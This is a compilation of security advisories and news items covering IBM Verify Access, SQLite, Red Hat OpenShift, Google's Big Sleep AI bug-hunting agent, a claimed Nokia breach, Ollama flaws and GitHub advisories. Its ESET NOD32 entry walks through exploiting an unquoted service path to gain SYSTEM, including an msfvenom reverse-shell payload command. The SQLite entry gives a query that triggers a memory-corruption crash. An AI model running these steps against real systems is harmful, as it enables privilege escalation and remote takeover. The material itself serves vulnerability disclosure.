IBM Security Verify Access versions prior to 10.0.8 suffer from authentication bypass, reuse of private keys, local privilege escalation, weak settings, outdated libraries, missing password, hardcoded secrets, remote code execution, missing authentication, null pointer dereference, and lack of privilege separation vulnerabilities.

IBM Security Verify Access 32 Vulnerabilities

IBM Security Verify Access Appliance suffers from multiple insecure transit vulnerabilities, hardcoded passwords, and uninitialized variables. ibmsecurity versions prior to 2024.4.5 are affected.

IBM Security Verify Access Appliance Insecure Transit / Hardcoded Passwords

ESET NOD32 Antivirus version 18.0.12.0 suffers from an unquoted service path vulnerability.

    # Exploit Title: ESET NOD32 Antivirus 18.0.12.0 - "ESET Service" UnquotedService Path# Exploit Author: Milad Karimi (Ex3ptionaL)# Exploit Date: 2024-11-02# Contact: miladgrayhat@gmail.com# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL# MiRROR-H: https://mirror-h.org/search/hacker/49626/# Vendor : https://www.eset.com# Version : 18.0.12.0# Tested on OS: Microsoft Windows 10 pro x64About Unquoted Service Path :==============================When a service is created whose executable path contains spaces and isn'tenclosed within quotes, leads to a vulnerability known as Unquoted ServicePath which allows a user to gain SYSTEM privileges.(only if the vulnerable service is running with SYSTEM privilege levelwhich most of the time it is).Description:==============================ESET NOD32 Antivirus installs a service with an unquoted service path.To properly exploit this vulnerability, the local attacker must insert anexecutable file in the path of the service.Upon service restart or system reboot, the malicious code will be run withelevated privileges.# PoC===========1.  Open CMD and check for the vulnerability by typing [ wmic service getname,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v"c:\windows\\" | findstr /i /v """ ]2.  The vulnerable service would show up.3.  Check the service permissions by typing [ sc qc "ekrn" ]4.  The command would return..C:\Users\Ci3c0>sc qc ekrn[SC] QueryServiceConfig SUCCESSSERVICE_NAME: ekrn        TYPE               : 20  WIN32_SHARE_PROCESS        START_TYPE         : 2   AUTO_START        ERROR_CONTROL      : 1   NORMAL        BINARY_PATH_NAME   : "C:\Program Files\ESET\ESET Security\ekrn.exe"        LOAD_ORDER_GROUP   : Base        TAG                : 0        DISPLAY_NAME       : ESET Service        DEPENDENCIES       :        SERVICE_START_NAME : LocalSystem5.  This concludes that the service is running as SYSTEM.6.  Now create a payload with msfvenom or other tools and name it toekrn.exe.7.  Make sure you have write permissions to "C:\Program Files\ESET\ESETSecurity" directory.8.  Provided that you have right permissions, drop the HDDHealthService.exeexecutable you created into the "C:\Program Files\ESET\ESET Security"directory.9.  Start a listener.9.  Now restart the ekrn service by giving coommand [ sc stop ekrn ]followed by [ sc start ekrn ]9.1 If you cannot stop and start the service, since the service is of type"AUTO_START" we can restart the system by executing [ shutdown /r /t 0 ]and get the shell when the service starts automatically.10. Got shell.During my testing :Payload : msfvenom -p windows/shell_reverse_tcp -f exe -o ekrn.exe# Disclaimer=============The information contained within this advisory is supplied "as-is" with nowarranties or guarantees of fitness of use or otherwise.The author is not responsible for any misuse of the information containedherein and accepts no responsibility for any damage caused by the use ormisuse of this information.The author prohibits any malicious use of security related information orexploits by the author or elsewhere.

ESET NOD32 Antivirus 18.0.12.0 Unquoted Service Path

SQLite3 suffers from a stack buffer underflow condition in seriesBestIndex in the generate_series extension.

    Vulnerability detailsstatic int seriesBestIndex(  sqlite3_vtab *pVTab,  sqlite3_index_info *pIdxInfo){  int i, j;              /* Loop over constraints */  int idxNum = 0;        /* The query plan bitmask */#ifndef ZERO_ARGUMENT_GENERATE_SERIES  int bStartSeen = 0;    /* EQ constraint seen on the START column */#endif  int unusableMask = 0;  /* Mask of unusable constraints */  int nArg = 0;          /* Number of arguments that seriesFilter() expects */  int aIdx[7];           /* Constraints on start, stop, step, LIMIT, OFFSET,                         ** and value.  aIdx[5] covers value=, value>=, and                         ** value>,  aIdx[6] covers value<= and value< */  const struct sqlite3_index_constraint *pConstraint;  /* This implementation assumes that the start, stop, and step columns  ** are the last three columns in the virtual table. */  assert( SERIES_COLUMN_STOP == SERIES_COLUMN_START+1 );  assert( SERIES_COLUMN_STEP == SERIES_COLUMN_START+2 );  aIdx[0] = aIdx[1] = aIdx[2] = aIdx[3] = aIdx[4] = aIdx[5] = aIdx[6] = -1;  pConstraint = pIdxInfo->aConstraint;  for(i=0; i<pIdxInfo->nConstraint; i++, pConstraint++){    int iCol;    /* 0 for start, 1 for stop, 2 for step */    int iMask;   /* bitmask for those column */    int op = pConstraint->op;    if( op>=SQLITE_INDEX_CONSTRAINT_LIMIT     && op<=SQLITE_INDEX_CONSTRAINT_OFFSET    ){      if( pConstraint->usable==0 ){[...]      }      continue;    }    if( pConstraint->iColumn==SERIES_COLUMN_VALUE ){      switch( op ){[...]      }      continue;    }    iCol = pConstraint->iColumn - SERIES_COLUMN_START;  // *** 1 ***    assert( iCol>=0 && iCol<=2 ); // *** 2 ***    iMask = 1 << iCol;#ifndef ZERO_ARGUMENT_GENERATE_SERIES    if( iCol==0 && op==SQLITE_INDEX_CONSTRAINT_EQ ){      bStartSeen = 1;    }#endif    if( pConstraint->usable==0 ){      unusableMask |=  iMask;      continue;    }else if( op==SQLITE_INDEX_CONSTRAINT_EQ ){      idxNum |= iMask;      aIdx[iCol] = i; // *** 3 ***    }  }  struct sqlite3_index_constraint {     int iColumn;              /* Column constrained.  -1 for ROWID */ // *** 4 ***     unsigned char op;         /* Constraint operator */     unsigned char usable;     /* True if this constraint is usable */     int iTermOffset;          /* Used internally - xBestIndex should ignore */  } *aConstraint;            /* Table of WHERE clause constraints */The seriesBestIndex function doesn't handle rowid constraints correctly. The code at [1] expects iColumn to be one of SERIES_COLUMN_START, SERIES_COLUMN_STOP, or SERIES_COLUMN_STEP (values 1, 2, or 3). However, the line can also be reached with a rowid constraint with an iColumn value of -1. Depending on the build configuration, the negative iCol may either trigger an assertion failure at [2] or lead to an out-of-bounds memory write access at [3].Version3.47.0 2024-10-05 12:02:17 2f7eab381e16760952d1c90a9119d2a217933f0136442d8f6eeb6d95e366ca4f (64-bit)Reproduction caseSELECT * FROM generate_series(1, 1) WHERE rowid = 1When built with assertions, the SQLite shell crashes with an assertion failure:shell.c:6816: seriesBestIndex: Assertion `iCol>=0 && iCol<=2' failed.When built with NDEBUG and ASan, the program produces the following crash report:==2623073==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7ff83210be18 at pc 0x55dbc9afcd14 bp 0x7ffc7a497cd0 sp 0x7ffc7a497cc8WRITE of size 4 at 0x7ff83210be18 thread T0    #0 0x55dbc9afcd13 in seriesBestIndex shell.c:6828    #1 0x55dbc9d5aaa9 in vtabBestIndex sqlite3.c:164633    #2 0x55dbc9d66290 in whereLoopAddVirtualOne sqlite3.c:167237    #3 0x55dbc9d67e57 in whereLoopAddVirtual sqlite3.c:167549    #4 0x55dbc9d69f06 in whereLoopAddAll sqlite3.c:167822    #5 0x55dbc9d73724 in sqlite3WhereBegin sqlite3.c:169776    #6 0x55dbc9d1b3d2 in sqlite3Select sqlite3.c:151580    #7 0x55dbc9d8c131 in yy_reduce sqlite3.c:177608    #8 0x55dbc9d98b5c in sqlite3Parser sqlite3.c:179058    #9 0x55dbc9d9cc59 in sqlite3RunParser sqlite3.c:180392    #10 0x55dbc9cf1863 in sqlite3Prepare sqlite3.c:143187    #11 0x55dbc9cf1f65 in sqlite3LockAndPrepare sqlite3.c:143262    #12 0x55dbc9cf2356 in sqlite3_prepare_v2 sqlite3.c:143349    #13 0x55dbc9b30f63 in shell_exec shell.c:24228    #14 0x55dbc9b58583 in runOneSqlLine shell.c:31909    #15 0x55dbc9b59624 in process_input shell.c:32097    #16 0x55dbc9b5d1b7 in main shell.c:33026    #17 0x7ff834243b89 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58    #18 0x7ff834243c44 in __libc_start_main_impl ../csu/libc-start.c:360    #19 0x55dbc9ae27a0 in _start (sq+0x4a7a0) (BuildId: 8e6639a5755a4687574b3d22d6cf593ca32bb8b6)Address 0x7ff83210be18 is located in stack of thread T0 at offset 24 in frame    #0 0x55dbc9afc4b6 in seriesBestIndex shell.c:6732  This frame has 1 object(s):    [32, 60) 'aIdx' (line 6740) <== Memory access at offset 24 underflows this variableWe've observed that, depending on the compiler and SQLite build configuration, this issue may allow an attacker to overwrite pConstraint, which makes it likely exploitable. However, the generate_series extension is only enabled by default in the shell binary and not the library itself, so the impact of the issue is limited.Credit informationSergei Glazunov of Google Project ZeroThis bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2025-01-07.For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html

SQLite3 generate_series Stack Buffer Underflow

Red Hat Security Advisory 2024-8425-03 - Red Hat OpenShift Container Platform release 4.15.37 is now available with updates to packages and images that fix several bugs and add enhancements. Issues addressed include denial of service and traversal vulnerabilities.

The following advisory data is extracted from:

https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_8425.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: OpenShift Container Platform 4.15.37 bug fix and security update  
Advisory ID:        RHSA-2024:8425-03  
Product:            Red Hat OpenShift Enterprise  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:8425  
Issue date:         2024-11-04  
Revision:           03  
CVE Names:          CVE-2023-45288  
====================================================================

Summary: 

Red Hat OpenShift Container Platform release 4.15.37 is now available with updates to packages and images that fix several bugs and add enhancements.

This release includes a security update for Red Hat OpenShift Container Platform 4.15.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments.

This advisory contains the container images for Red Hat OpenShift Container Platform 4.15.37. See the following advisory for the RPM packages for this release:

https://access.redhat.com/errata/RHSA-2024:8428

Space precludes documenting all of the container images in this advisory. See the following Release Notes documentation, which will be updated shortly for this release, for details about these changes:

https://docs.openshift.com/container-platform/4.15/release_notes/ocp-4-15-release-notes.html

Security Fix(es):

* go-git: Maliciously crafted Git server replies can lead to path traversal  
and RCE on go-git clients (CVE-2023-49569)  
* golang: net/http, x/net/http2: unlimited number of CONTINUATION frames  
causes DoS (CVE-2023-45288)  
* encoding/gob: golang: Calling Decoder.Decode on a message which contains  
deeply nested structures can cause a panic due to stack exhaustion  
(CVE-2024-34156)  
* containers/image: digest type does not guarantee valid type  
(CVE-2024-3727)  
* net/http: Denial of service due to improper 100-continue handling in  
net/http (CVE-2024-24791)  
* cloudevents/sdk-go: usage of WithRoundTripper to create a Client leaks  
credentials (CVE-2024-28110)  
* jose-go: improper handling of highly compressed data (CVE-2024-28180)  
* go/parser: golang: Calling any of the Parse functions containing deeply  
nested literals can cause a panic/stack exhaustion (CVE-2024-34155)  
* go/build/constraint: golang: Calling Parse on a \"// +build\" build tag  
line with deeply nested expressions can cause a panic due to stack  
exhaustion (CVE-2024-34158)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

All OpenShift Container Platform 4.15 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.openshift.com/container-platform/4.15/updating/updating_a_cluster/updating-cluster-cli.html

Solution:

CVEs:

CVE-2023-45288

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2258143  
https://bugzilla.redhat.com/show_bug.cgi?id=2268273  
https://bugzilla.redhat.com/show_bug.cgi?id=2268372  
https://bugzilla.redhat.com/show_bug.cgi?id=2268854  
https://bugzilla.redhat.com/show_bug.cgi?id=2274767  
https://bugzilla.redhat.com/show_bug.cgi?id=2295310  
https://bugzilla.redhat.com/show_bug.cgi?id=2310527  
https://bugzilla.redhat.com/show_bug.cgi?id=2310528  
https://bugzilla.redhat.com/show_bug.cgi?id=2310529  
https://issues.redhat.com/browse/OCPBUGS-19254  
https://issues.redhat.com/browse/OCPBUGS-37704  
https://issues.redhat.com/browse/OCPBUGS-39018  
https://issues.redhat.com/browse/OCPBUGS-41838  
https://issues.redhat.com/browse/OCPBUGS-42335  
https://issues.redhat.com/browse/OCPBUGS-42470  
https://issues.redhat.com/browse/OCPBUGS-42471  
https://issues.redhat.com/browse/OCPBUGS-42480  
https://issues.redhat.com/browse/OCPBUGS-42611  
https://issues.redhat.com/browse/OCPBUGS-42648  
https://issues.redhat.com/browse/OCPBUGS-42726  
https://issues.redhat.com/browse/OCPBUGS-42780  
https://issues.redhat.com/browse/OCPBUGS-42881  
https://issues.redhat.com/browse/OCPBUGS-42934  
https://issues.redhat.com/browse/OCPBUGS-42992  
https://issues.redhat.com/browse/OCPBUGS-43057  
https://issues.redhat.com/browse/OCPBUGS-43468  
https://issues.redhat.com/browse/OCPBUGS-43626  
https://issues.redhat.com/browse/OCPBUGS-43635

Red Hat Security Advisory 2024-8425-03

A research tool by the company found a vulnerability in the SQLite open source database, demonstrating the "defensive potential" for using LLMs to find vulnerabilities in applications before they're publicly released.

Source: Krot Studio via Alamy Stock Photo

Google has discovered its first real-world vulnerability using an artificial intelligence (AI) agent that company researchers are designing expressly for this purpose. The discovery of a memory-safety flaw in a production version of a popular open source database by the company's Big Sleep large language model (LLM) project is the first of its kind, and it has "tremendous defensive potential" for organizations, the Big Sleep team wrote in a recent Project Zero blog.

Big Sleep — the work of a collaboration between the company's Project Zero and Deep Mind groups — discovered an exploitable stack buffer underflow in SQLite, a widely used open source database engine.

Specifically, Big Sleep discovered a pattern in the code of a publicly released version of SQLite that creates a potential edge case that needs to be handled by all code that uses the field, the researchers noted. A function in the code failed to correctly handle the edge case, "resulting in a write into a stack buffer with a negative index when handling a query with a constraint on the 'rowid' column," thus creating an exploitable flaw, according to the post.

Google reported the bug to SQLite developers in early October. They fixed it on the same day and before it appeared in an official release of the database, so users were not affected.

Related:News Desk 2024: Hacking Microsoft Copilot Is Scary Easy

**Inspired by AI Bug-Hunting Peers**

"We believe this is the first public example of an AI agent finding a previously unknown exploitable memory-safety issue in widely used real-world software," the Big Sleep team wrote in the post. While this may be true, it's not the first time an LLM-based reasoning system autonomously found a flaw in the SQLite database engine, Google acknowledged.

An LLM model called Atlantis from a group of AI experts called Team Atlanta discovered six zero-day flaws in SQLite3 and even autonomously identified and patched one of them during the AI Cyber Challenge organized by ARPA-H, DARPA, and the White House, the team revealed in a blog post in August.

In fact, the Big Sleep team used one of the Team Atlanta discoveries — of "a null-pointer dereference" flaw in SQLite —  to inspire them to use AI "to see if we could find a more serious vulnerability," according to the post.

**Software Review Goes Beyond Fuzzing**

Google and other software development teams already use a process called fuzz-testing, colloquially known as "fuzzing," to help find flaws in applications before release. Fuzzing is an approach that targets the software with deliberately malformed data — or inputs — to see if it will crash so they can investigate and fix the cause.

Related:Privacy Anxiety Pushes Microsoft Recall AI Release Again

In fact, Google earlier this year released an AI-boosted fuzzing framework as an open source resource to help developers and researchers improve how they find software vulnerabilities. The framework automates manual aspects of fuzz-testing and uses LLMs to write project-specific code to boost code coverage.

While fuzzing "has helped significantly" to reduce the number of flaws in production software, developers need a more powerful approach "to find the bugs that are difficult (or impossible) to find" in this way, such as variants for previously found and patched vulnerabilities, the Big Sleep team wrote.

"As this trend continues, it's clear that fuzzing is not succeeding at catching such variants, and that for attackers, manual variant analysis is a cost-effective approach," the team wrote in the post.

Moreover, variant analysis is a better fit for current LLMs because its provides them with a starting point —  such as the details of a previously fixed flaw — for a search, and thus removes a lot of ambiguity from AI-based vulnerability testing, according to Google. In fact, at this point in the evolution of LLMs, lack of this type of starting point for a search can cause confusion, they noted.

Related:OWASP Releases AI Security Guidance

"We're hopeful that AI can narrow this gap," the Big Sleep team wrote. "We think that this is a promising path towards finally turning the tables and achieving an asymmetric advantage for defenders."

**Glimpse Into the Future**

Google Big Sleep is still in its research phase, and using AI-based automation to identify software flaws overall is a new discipline. However, there already are tools available that developers can use to get a jump on finding vulnerabilities in software code before public release.

Late last month, researchers at Protect AI released Vulnhuntr, a free, open source static code analyzer tool that can find zero-day vulnerabilities in Python codebases using Anthropic's Claude artificial intelligence (AI) model.

Indeed, Google's discovery shows promising progress for the future of using AI to help developers troubleshoot software before letting flaws seep into production versions.

"Finding vulnerabilities in software before it's even released means that there's no scope for attackers to compete: the vulnerabilities are fixed before attackers even have a chance to use them," Google's Big Sleep team wrote.

**About the Author**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

Google: Big Sleep AI Agent Puts SQLite Software Bug to Bed

Hackers claim to have breached Nokia through a third-party contractor, allegedly stealing SSH keys, source code, and internal…

Hackers claim to have breached Nokia through a third-party contractor, allegedly stealing SSH keys, source code, and internal credentials. The data is being sold for $20,000 on BreachForums, though no customer data was affected. Nokia has not yet commented on the claim.

A notorious hacker known as Intel Broker has announced a data breach involving the telecommunications giant Nokia. Posting on the infamous cybercrime forum BreachForums, Intel Broker claims to have gained unauthorized access to sensitive Nokia information through a third-party contractor linked to Nokia’s internal tool development.

The hacker claims that no customer information was accessed, but they have obtained **critical internal data** from Nokia’s systems, which they’re now selling for $20,000.

**Details of the Breach**

According to Intel Broker’s post, the stolen data includes SSH keys, source code, RSA keys, Bitbucket logins, SMTP accounts, webhooks, and hardcoded credentials. All of these items could potentially enable further unauthorized access to internal systems or facilitate other types of cyber attacks. In an attempt to validate the breach, Intel Broker also shared a file tree, showcasing various files and folders apparently related to Nokia’s internal operations.

In an exclusive conversation with Hackread.com, Interl Broker said that the stolen data collection is up for sale for $20,000, and he is reaching out to prospective buyers on BreachForums. According to the post, only those with high-ranking status and sufficient reputation on the forum are being encouraged to inquire.

Intel Broker on Breach Forums (Screenshot: Hackread.com)

The hacker claims to have pulled this data from a contractor working closely with Nokia, rather than Nokia’s own systems directly. This method of breaching systems through third-party vendors has become **increasingly common**, as vendors are often granted extensive access to the companies they serve. Cybersecurity experts have long warned about this weak point, advising companies to ensure that security standards extend to their contractors and partners.

**Potential Impact**

While Intel Broker emphasizes that customer data is not included in the breach, the exposure of alleged Nokia’s internal data could still have widespread implications. With access to development environments, source code, and credentials, hackers could potentially tamper with Nokia’s tools or services, or exploit the vulnerabilities in these resources to compromise other systems.

Screenshot from the sample data that Hackread.com analysed

****Nokia’s Response****

At the time of reporting, there has been no official statement from Nokia on this alleged breach. However, Hackread.com has reached out to the company awaiting a response. Stay tuned.

****About Intel Broker****

Intel Broker who is also the owner of Breach Forums is known for high-profile data breaches. **In June 2024**, the hacker claimed to have breached Apple Inc., stealing source code for internal tools. The same hacker boasted about **breaching AMD** (Advanced Micro Devices, Inc.), and stealing employee and product information.

**In May 2024**, Intel Broker hacked Europol, a breach that the agency later confirmed. Some of the hacker’s previous data breaches are listed below:

*   **Tech in Asia**
*   **Space-Eyes**
*   **Home Depot**
*   **Facebook Marketplace**
*   **Staffing giant Robert Half**
*   **U.S. contractor Acuity Inc.**
*   **Los Angeles International Airport**
*   **Alleged breaches of HSBC and Barclays Bank**

Although the hacker’s origins and affiliates are unknown, according to the United States government, IntelBroker is alleged to be the perpetrator behind one of the **T-Mobile data breaches**.

1.  **Hacker Leaks Thousands of Nokia Employee Details**
2.  **Nokia Taiwan Hacked, 100,000+ accounts leaked online**
3.  **Cisco Network Breach as Employee’s Google Account was Hacked  
    **

Hackers Claim Access to Nokia Internal Data, Selling for $20,000

Cybersecurity researchers have disclosed six security flaws in the Ollama artificial intelligence (AI) framework that could be exploited by a malicious actor to perform various actions, including denial-of-service, model poisoning, and model theft.
"Collectively, the vulnerabilities could allow an attacker to carry out a wide-range of malicious actions with a single HTTP request, including

Vulnerability / Cyber Threat

Cybersecurity researchers have disclosed six security flaws in the Ollama artificial intelligence (AI) framework that could be exploited by a malicious actor to perform various actions, including denial-of-service, model poisoning, and model theft.

"Collectively, the vulnerabilities could allow an attacker to carry out a wide-range of malicious actions with a single HTTP request, including denial-of-service (DoS) attacks, model poisoning, model theft, and more," Oligo Security researcher Avi Lumelsky said in a report published last week.

Ollama is an open-source application that allows users to deploy and operate large language models (LLMs) locally on Windows, Linux, and macOS devices. Its project repository on GitHub has been forked 7,600 times to date.

A brief description of the six vulnerabilities is below -

*   **CVE-2024-39719** (CVSS score: 7.5) - A vulnerability that an attacker can exploit using /api/create an endpoint to determine the existence of a file in the server (Fixed in version 0.1.47)
*   **CVE-2024-39720** (CVSS score: 8.2) - An out-of-bounds read vulnerability that could cause the application to crash by means of the /api/create endpoint, resulting in a DoS condition (Fixed in version 0.1.46)
*   **CVE-2024-39721** (CVSS score: 7.5) - A vulnerability that causes resource exhaustion and ultimately a DoS when invoking the /api/create endpoint repeatedly when passing the file "/dev/random" as input (Fixed in version 0.1.34)
*   **CVE-2024-39722** (CVSS score: 7.5) - A path traversal vulnerability in the api/push endpoint that exposes the files existing on the server and the entire directory structure on which Ollama is deployed (Fixed in version 0.1.46)
*   A vulnerability that could lead to model poisoning via the /api/pull endpoint from an untrusted source (No CVE identifier, Unpatched)
*   A vulnerability that could lead to model theft via the /api/push endpoint to an untrusted target (No CVE identifier, Unpatched)

For both unresolved vulnerabilities, the maintainers of Ollama have recommended that users filter which endpoints are exposed to the internet by means of a proxy or a web application firewall.

"Meaning that, by default, not all endpoints should be exposed," Lumelsky said. "That's a dangerous assumption. Not everybody is aware of that, or filters http routing to Ollama. Currently, these endpoints are available through the default port of Ollama as part of every deployment, without any separation or documentation to back it up."

Oligo said it found 9,831 unique internet-facing instances that run Ollama, with a majority of them located in China, the U.S., Germany, South Korea, Taiwan, France, the U.K., India, Singapore, and Hong Kong. One out of four internet-facing servers has been deemed vulnerable to the identified flaws.

The development comes more than four months after cloud security firm Wiz disclosed a severe flaw impacting Ollama (CVE-2024-37032) that could have been exploited to achieve remote code execution.

"Exposing Ollama to the internet without authorization is the equivalent to exposing the docker socket to the public internet, because it can upload files and has model pull and push capabilities (that can be abused by attackers)," Lumelsky noted.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Critical Flaws in Ollama AI Framework Could Enable DoS, Model Theft, and Poisoning

Session Fixation vulnerability in Apache Kylin.

This issue affects Apache Kylin: from 2.0.0 through 4.x.

Users are recommended to upgrade to version 5.0.0 or above, which fixes the issue.

**Exploitability Metrics**

Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.

Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.

Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.

Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.

User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.

**Vulnerable System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

**Subsequent System Impact Metrics**

Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.

Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).

Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.

GHSA-752q-72qc-rc66: Apache Kylin Session Fixation vulnerability

There exists a Path Traversal vulnerability in Safearchive on Platforms with Case-Insensitive Filesystems (e.g., NTFS). This allows Attackers to Write Arbitrary Files via Archive Extraction containing symbolic links. We recommend upgrading past commit f7ce9d7b6f9c6ecd72d0b0f16216b046e55e44dc

1.  GitHub Advisory Database
2.  GitHub Reviewed
3.  CVE-2024-10389

**Safearchive Path Traversal vulnerability**

Moderate severity GitHub Reviewed Published Nov 4, 2024 to the GitHub Advisory Database • Updated Nov 4, 2024

**Package**

gomod github.com/google/safearchive (Go)

**Affected versions**

< 0.0.0-20241025131057-f7ce9d7b6f9c

**Patched versions**

0.0.0-20241025131057-f7ce9d7b6f9c

There exists a Path Traversal vulnerability in Safearchive on Platforms with Case-Insensitive Filesystems (e.g., NTFS). This allows Attackers to Write Arbitrary Files via Archive Extraction containing symbolic links. We recommend upgrading past commit f7ce9d7b6f9c6ecd72d0b0f16216b046e55e44dc

**References**

*   https://nvd.nist.gov/vuln/detail/CVE-2024-10389
*   google/safearchive@f7ce9d7

Published to the GitHub Advisory Database

Nov 4, 2024

Tag

#vulnerability